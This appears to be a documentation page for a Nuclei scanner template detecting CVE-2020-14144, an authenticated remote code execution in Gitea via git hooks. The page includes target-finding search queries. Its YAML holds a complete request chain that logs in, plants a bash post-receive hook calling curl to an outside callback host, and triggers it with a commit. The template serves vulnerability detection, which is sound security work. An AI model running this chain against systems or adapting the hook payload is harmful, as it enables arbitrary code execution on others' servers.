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Gitea 1.1.0 - 1.12.5 - Remote Code Execution

ID: CVE-2020-14144

Severity: high

Author: theamanrawat

Tags: cve2020,cve,rce,gitea,authenticated,git,intrusive

Description

Section titled “Description”

Gitea 1.1.0 through 1.12.5 is susceptible to authenticated remote code execution, via the git hook functionality, in customer environments where the documentation is not understood (e.g., one viewpoint is that the dangerousness of this feature should be documented immediately above the ENABLE_GIT_HOOKS line in the config file). NOTE: The vendor has indicated this is not a vulnerability and states “This is a functionality of the software that is limited to a subset of accounts. If you give someone the privilege to execute arbitrary code on your server, they can execute arbitrary code on your server. We provide very clear warnings to users around this functionality and what it provides.”

YAML Source

Section titled “YAML Source”
id: CVE-2020-14144


info:
  name: Gitea 1.1.0 - 1.12.5 - Remote Code Execution
  author: theamanrawat
  severity: high
  description: |
    Gitea 1.1.0 through 1.12.5 is susceptible to authenticated remote code execution, via the git hook functionality, in customer environments where the documentation is not understood (e.g., one viewpoint is that the dangerousness of this feature should be documented immediately above the ENABLE_GIT_HOOKS line in the config file). NOTE: The vendor has indicated this is not a vulnerability and states "This is a functionality of the software that is limited to a subset of accounts. If you give someone the privilege to execute arbitrary code on your server, they can execute arbitrary code on your server. We provide very clear warnings to users around this functionality and what it provides."
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: Fixed in version 1.16.7.
  reference:
    - https://dl.gitea.io/gitea/1.16.6
    - https://github.com/go-gitea/gitea/pull/13058
    - https://www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1125-und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-14144
    - https://docs.github.com/en/[email protected]/admin/policies/creating-a-pre-receive-hook-script
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2020-14144
    cwe-id: CWE-78
    epss-score: 0.97279
    epss-percentile: 0.9986
    cpe: cpe:2.3:a:gitea:gitea:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 7
    vendor: gitea
    product: gitea
    shodan-query:
      - html:"Powered by Gitea Version"
      - http.html:"powered by gitea version"
      - http.title:"gitea"
      - cpe:"cpe:2.3:a:gitea:gitea"
    fofa-query:
      - body="powered by gitea version"
      - title="gitea"
    google-query: intitle:"gitea"
  tags: cve2020,cve,rce,gitea,authenticated,git,intrusive


http:
  - raw:
      - |
        GET /user/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /user/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        _csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}}
      - |
        GET /repo/create HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /repo/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        _csrf={{auth_csrf}}&uid=1&repo_name={{randstr}}&private=on&description=&repo_template=&issue_labels=&gitignores=&license=&readme=Default&auto_init=on&default_branch=master
      - |
        POST /{{username}}/{{randstr}}/settings/hooks/git/post-receive HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        _csrf={{auth_csrf}}&content=%23%21%2Fbin%2Fbash%0D%0Acurl+{{interactsh-url}}
      - |
        GET /{{username}}/{{randstr}}/_new/master HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /{{username}}/{{randstr}}/_new/master HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        _csrf={{auth_csrf}}&last_commit={{last_commit}}&tree_path=test.txt&content=test&commit_summary=&commit_message=&commit_choice=direct


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - http


      - type: word
        part: body_1
        words:
          - "Gitea:"


    extractors:
      - type: regex
        name: csrf
        group: 1
        regex:
          - name="_csrf" value="(.*)"
        internal: true


      - type: regex
        name: auth_csrf
        group: 1
        regex:
          - name="_csrf" content="(.*)"
        internal: true


      - type: regex
        name: last_commit
        group: 1
        regex:
          - name="last_commit" value="(.*)"
        internal: true
# digest: 4a0a00473045022100d3202ff88b17e974f4cafcbf32159fbfb0cb21885ca095ca00685bce1644aefc0220076974f88118b0379d27457883d1c853dd8f11679238a04686335774fd6ae912:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-14144.yaml"

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